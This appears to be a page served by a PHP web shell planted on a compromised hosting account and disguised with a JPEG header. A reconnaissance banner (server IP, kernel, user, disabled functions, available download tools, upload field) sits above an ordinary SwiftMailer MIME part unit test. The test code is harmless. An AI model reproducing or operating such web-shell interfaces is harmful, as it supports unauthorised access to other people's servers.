����JFIF��x�x����'
Server IP : 78.140.185.180 / Your IP : 3.21.168.253 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/www/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mime/ |
Upload File : |
<?php class Swift_Mime_MimePartTest extends Swift_Mime_AbstractMimeEntityTest { public function testNestingLevelIsSubpart() { $part = $this->createMimePart($this->createHeaderSet(), $this->createEncoder(), $this->createCache() ); $this->assertEquals( Swift_Mime_SimpleMimeEntity::LEVEL_ALTERNATIVE, $part->getNestingLevel() ); } public function testCharsetIsReturnedFromHeader() { /* -- RFC 2046, 4.1.2. A critical parameter that may be specified in the Content-Type field for "text/plain" data is the character set. This is specified with a "charset" parameter, as in: Content-type: text/plain; charset=iso-8859-1 Unlike some other parameter values, the values of the charset parameter are NOT case sensitive. The default character set, which must be assumed in the absence of a charset parameter, is US-ASCII. */ $cType = $this->createHeader('Content-Type', 'text/plain', ['charset' => 'iso-8859-1'] ); $part = $this->createMimePart($this->createHeaderSet([ 'Content-Type' => $cType, ]), $this->createEncoder(), $this->createCache() ); $this->assertEquals('iso-8859-1', $part->getCharset()); } public function testCharsetIsSetInHeader() { $cType = $this->createHeader('Content-Type', 'text/plain', ['charset' => 'iso-8859-1'], false ); $cType->shouldReceive('setParameter')->once()->with('charset', 'utf-8'); $part = $this->createMimePart($this->createHeaderSet([ 'Content-Type' => $cType, ]), $this->createEncoder(), $this->createCache() ); $part->setCharset('utf-8'); } public function testCharsetIsSetInHeaderIfPassedToSetBody() { $cType = $this->createHeader('Content-Type', 'text/plain', ['charset' => 'iso-8859-1'], false ); $cType->shouldReceive('setParameter')->once()->with('charset', 'utf-8'); $part = $this->createMimePart($this->createHeaderSet([ 'Content-Type' => $cType, ]), $this->createEncoder(), $this->createCache() ); $part->setBody('', 'text/plian', 'utf-8'); } public function testSettingCharsetNotifiesEncoder() { $encoder = $this->createEncoder('quoted-printable', false); $encoder->expects($this->once()) ->method('charsetChanged') ->with('utf-8'); $part = $this->createMimePart($this->createHeaderSet(), $encoder, $this->createCache() ); $part->setCharset('utf-8'); } public function testSettingCharsetNotifiesHeaders() { $headers = $this->createHeaderSet([], false); $headers->shouldReceive('charsetChanged') ->zeroOrMoreTimes() ->with('utf-8'); $part = $this->createMimePart($headers, $this->createEncoder(), $this->createCache() ); $part->setCharset('utf-8'); } public function testSettingCharsetNotifiesChildren() { $child = $this->createChild(0, '', false); $child->shouldReceive('charsetChanged') ->once() ->with('windows-874'); $part = $this->createMimePart($this->createHeaderSet(), $this->createEncoder(), $this->createCache() ); $part->setChildren([$child]); $part->setCharset('windows-874'); } public function testCharsetChangeUpdatesCharset() { $cType = $this->createHeader('Content-Type', 'text/plain', ['charset' => 'iso-8859-1'], false ); $cType->shouldReceive('setParameter')->once()->with('charset', 'utf-8'); $part = $this->createMimePart($this->createHeaderSet([ 'Content-Type' => $cType, ]), $this->createEncoder(), $this->createCache() ); $part->charsetChanged('utf-8'); } public function testSettingCharsetClearsCache() { $headers = $this->createHeaderSet([], false); $headers->shouldReceive('toString') ->zeroOrMoreTimes() ->andReturn("Content-Type: text/plain; charset=utf-8\r\n"); $cache = $this->createCache(false); $entity = $this->createEntity($headers, $this->createEncoder(), $cache ); $entity->setBody("blah\r\nblah!"); $entity->toString(); // Initialize the expectation here because we only care about what happens in setCharset() $cache->shouldReceive('clearKey') ->once() ->with(\Mockery::any(), 'body'); $entity->setCharset('iso-2022'); } public function testFormatIsReturnedFromHeader() { /* -- RFC 3676. */ $cType = $this->createHeader('Content-Type', 'text/plain', ['format' => 'flowed'] ); $part = $this->createMimePart($this->createHeaderSet([ 'Content-Type' => $cType, ]), $this->createEncoder(), $this->createCache() ); $this->assertEquals('flowed', $part->getFormat()); } public function testFormatIsSetInHeader() { $cType = $this->createHeader('Content-Type', 'text/plain', [], false); $cType->shouldReceive('setParameter')->once()->with('format', 'fixed'); $part = $this->createMimePart($this->createHeaderSet([ 'Content-Type' => $cType, ]), $this->createEncoder(), $this->createCache() ); $part->setFormat('fixed'); } public function testDelSpIsReturnedFromHeader() { /* -- RFC 3676. */ $cType = $this->createHeader('Content-Type', 'text/plain', ['delsp' => 'no'] ); $part = $this->createMimePart($this->createHeaderSet([ 'Content-Type' => $cType, ]), $this->createEncoder(), $this->createCache() ); $this->assertFalse($part->getDelSp()); } public function testDelSpIsSetInHeader() { $cType = $this->createHeader('Content-Type', 'text/plain', [], false); $cType->shouldReceive('setParameter')->once()->with('delsp', 'yes'); $part = $this->createMimePart($this->createHeaderSet([ 'Content-Type' => $cType, ]), $this->createEncoder(), $this->createCache() ); $part->setDelSp(true); } public function testFluidInterface() { $part = $this->createMimePart($this->createHeaderSet(), $this->createEncoder(), $this->createCache() ); $this->assertSame($part, $part ->setContentType('text/plain') ->setEncoder($this->createEncoder()) ->setId('foo@bar') ->setDescription('my description') ->setMaxLineLength(998) ->setBody('xx') ->setBoundary('xyz') ->setChildren([]) ->setCharset('utf-8') ->setFormat('flowed') ->setDelSp(true) ); } //abstract protected function createEntity($headers, $encoder, $cache) { return $this->createMimePart($headers, $encoder, $cache); } protected function createMimePart($headers, $encoder, $cache) { $idGenerator = new Swift_Mime_IdGenerator('example.com'); return new Swift_Mime_MimePart($headers, $encoder, $cache, $idGenerator); } }